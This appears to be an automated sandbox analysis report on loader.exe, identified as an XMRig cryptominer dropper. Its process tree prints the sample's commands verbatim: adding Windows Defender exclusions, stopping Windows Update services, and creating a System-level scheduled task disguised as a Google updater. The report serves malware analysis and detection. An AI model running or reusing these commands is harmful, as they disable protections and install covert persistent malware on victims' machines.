Analysis

  • max time kernel
    150s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    27/10/2024, 12:26

General

  • Target

    loader.exe

  • Size

    56.5MB

  • MD5

    cb5704b35d6f1420581b825a8faee883

  • SHA1

    966b5157bd954ca13385db782b39ed56c5a52b9e

  • SHA256

    6cf2cd2b186c6d10c081cb5afe7689d52b3ccc3da937c920718724c26573946a

  • SHA512

    7276ed0bf256bc9895712c5de6d8c25851d867c62b2688d44e7cbd3ef63eeee0774345e3221665e3fb8e5a24343d7c45dafac7e308b1a67db24d8afab0ce91cb

  • SSDEEP

    786432:brZMUVo6ix6I/AXpORG0zC5lYSI0yhRaJ9r3uXSr7dcS1Se34sey66TM0Mg0G+/c:bAwIcpIGsERI0puXSr7qS1eGsO+/QD

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1196
      • C:\Users\Admin\AppData\Local\Temp\loader.exe
        "C:\Users\Admin\AppData\Local\Temp\loader.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2424
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2128
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2948
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:3004
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:3032
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:2060
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:2212
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:2160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3048
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2772
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
        2⤵
          PID:2900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2668
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2528
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:2616
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:2976
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:2552
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:384
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:1332
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1860
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1352
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe
          2⤵
            PID:1308
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1276
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {8A0881F9-F0BB-46B3-9769-F037743EFCAD} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2736
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2532

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                Filesize

                7KB

                MD5

                6391874f342672e5ed0919522f561490

                SHA1

                edcb23d4c02ffd2358c46f7333bb29268d8c4e20

                SHA256

                4a7acdb0dc77cb6ec4158b9c452c9ec870a043cc4b2e59a008abc4cb864a5b30

                SHA512

                b6707b2276f8b644c3dac86455c9a513d4471c1616a9d2e4734033f01b6730b156538c913cfbf9850628122bdb32c9139d4c9604c7531937528d814bc38ff400

              • memory/1276-44-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-40-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-50-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-48-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-46-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-32-0x0000000000130000-0x0000000000150000-memory.dmp

                Filesize

                128KB

              • memory/1276-42-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-52-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-38-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-54-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-34-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1276-36-0x0000000140000000-0x00000001407EF000-memory.dmp

                Filesize

                7.9MB

              • memory/1308-37-0x0000000140000000-0x000000014002A000-memory.dmp

                Filesize

                168KB

              • memory/1308-33-0x0000000140000000-0x000000014002A000-memory.dmp

                Filesize

                168KB

              • memory/2128-9-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

                Filesize

                9.6MB

              • memory/2128-10-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

                Filesize

                9.6MB

              • memory/2128-5-0x000007FEF5F4E000-0x000007FEF5F4F000-memory.dmp

                Filesize

                4KB

              • memory/2128-8-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

                Filesize

                9.6MB

              • memory/2128-7-0x0000000002200000-0x0000000002208000-memory.dmp

                Filesize

                32KB

              • memory/2128-6-0x000000001B630000-0x000000001B912000-memory.dmp

                Filesize

                2.9MB

              • memory/2128-13-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

                Filesize

                9.6MB

              • memory/2128-12-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

                Filesize

                9.6MB

              • memory/2128-11-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

                Filesize

                9.6MB

              • memory/2424-0-0x000000013FA80000-0x0000000143310000-memory.dmp

                Filesize

                56.6MB

              • memory/2424-22-0x000000013FA80000-0x0000000143310000-memory.dmp

                Filesize

                56.6MB

              • memory/2532-31-0x000000013FAC0000-0x0000000143350000-memory.dmp

                Filesize

                56.6MB

              • memory/2532-26-0x000000013FAC0000-0x0000000143350000-memory.dmp

                Filesize

                56.6MB

              • memory/3048-19-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

                Filesize

                2.9MB

              • memory/3048-20-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

                Filesize

                32KB